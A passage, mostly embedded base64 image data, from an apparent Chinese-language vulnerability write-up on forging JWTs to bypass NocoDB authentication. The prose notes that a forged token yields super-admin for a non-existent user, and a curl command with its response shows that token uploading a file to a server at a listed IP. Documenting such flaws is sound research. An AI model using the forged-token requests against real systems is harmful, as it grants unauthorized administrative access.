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) + +,返回 super-admin 角色。注意响应里根本没有 email\_verified 字段——这个用户不存在于数据库中,但仍然通过了认证。iat 和 exp 的值都是我们指定的。 + +再用这个 Token 上传文件: + + +``` +$ echo 'forged by admin' > forged_test.txt +$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \ + -H "xc-auth: <伪造的JWT>" \ + -F "file=@forged_test.txt" +``` + +\[{"path":"download/2026/07/27/{hash}/forged\_test.txt","mimetype":"text/plain","size":16,"signedPath":"dltemp/..."}\] + +上传成功。注意这个用户(admin@nocodb.com) + + +![](data:image/png;base64,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